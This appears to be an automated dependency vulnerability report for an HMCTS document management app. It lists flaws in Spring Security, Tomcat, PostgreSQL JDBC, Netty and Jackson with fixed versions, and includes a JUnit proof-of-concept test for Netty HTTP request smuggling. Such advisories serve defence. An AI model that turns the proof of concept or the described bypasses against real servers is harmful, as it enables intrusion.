Vulnerabilities

77 via 518 paths

Dependencies

274

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 77
  • 2
Severity
  • 6
  • 36
  • 35
  • 2
Status
  • 79
  • 0
  • 0

critical severity

Missing Authentication for Critical Function

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Missing Authentication for Critical Function due to improperly locating method security annotations on private methods. An attacker could invoke the target method without proper authorization by exploiting this vulnerability.

Note:

This is only exploitable if your application is using @EnableMethodSecurity(mode=ASPECTJ) and spring-security-aspects and there are Spring Security method annotations on a private method.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.4.6 or higher.

References

critical severity

Use of Cache Containing Sensitive Information

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the process of writing HTTP response headers for servlet applications. An attacker can manipulate HTTP responses by exploiting the failure to write expected headers, potentially leading to unauthorized access or information disclosure.

Remediation

Upgrade org.springframework.security:spring-security-web to version 6.5.9, 7.0.4 or higher.

References

critical severity
new

Improper Authentication

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 and org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Improper Authentication when DIGEST authentication is configured. An attacker can gain unauthorized access by providing any unknown username, as the system will incorrectly authenticate the user.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.118, 10.1.55, 11.0.22 or higher.

References

critical severity

Access Control Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Control Bypass. When using ** as a pattern in Spring Security configuration for WebFlux a mismatch in pattern matching is created between Spring Security and Spring WebFlux, resulting in a security bypass.

Note:

The fixed versions require Spring Framework versions:

  1. 6.0.11+

  2. 5.3.29+

  3. 5.2.25+

Note: The Spring security team have published information about an existing PoC, but have not shared the PoC itself publicly, therefore we don't currently have the ability to verify it.

Remediation

Upgrade org.springframework.security:spring-security-config to version 5.6.12, 5.7.10, 5.8.5, 6.0.5, 6.1.2 or higher.

References

critical severity

Missing Authorization

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@5.7.13.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Missing Authorization allowing Spring Security authorization rules to be bypassed for static resources.

Note:

Non-Static Resources Are Not Affected by this vulnerability. This is because handlers for these routes use predicates to validate the requests even if all security filters are bypassed.

Spring Security states that for this to impact an application, all of the following conditions must be met:

  1. It must be a WebFlux application.

  2. It must be using Spring's static resources support.

  3. It must have a non-permitAll authorization rule applied to the static resources support.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.7.13, 5.8.15, 6.2.7, 6.3.4 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@42.2.28.jre7.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection when using PreferQueryMode=SIMPLE, which is not the default setting. By passing in a numeric value placeholder immediately preceded by a minus and followed by a second placeholder for a string value, on the same line, an attacker can construct a payload that alters the parameterized query into which it is interpolated. This effectively bypasses the protections against SQL Injection that parameterized queries offer.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.28.jre7, 42.3.9, 42.4.4, 42.5.5, 42.6.1, 42.7.2 or higher.

References

high severity

Null Byte Interaction Error (Poison Null Byte)

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final

Overview

Affected versions of this package are vulnerable to Null Byte Interaction Error (Poison Null Byte) due to inadequate validation of domain name labels and lengths in the encodeDomainName and decodeDomainName components. An attacker can cause DNS cache poisoning, bypass domain validation, or trigger excessive memory allocation by supplying specially crafted domain names or malicious DNS responses. This can result in downstream failures, silent truncation of domain names, and parser confusion across different DNS implementations.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.18.6, com.fasterxml.jackson.core:jackson-databind@2.18.6 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.fasterxml.jackson.core:jackson-core@2.18.6
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.18.7.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.7.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 com.fasterxml.jackson.core:jackson-core@2.18.6
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 com.azure:azure-core@1.58.0 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.21.1 com.fasterxml.jackson.core:jackson-databind@2.18.6 com.fasterxml.jackson.core:jackson-core@2.18.6

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
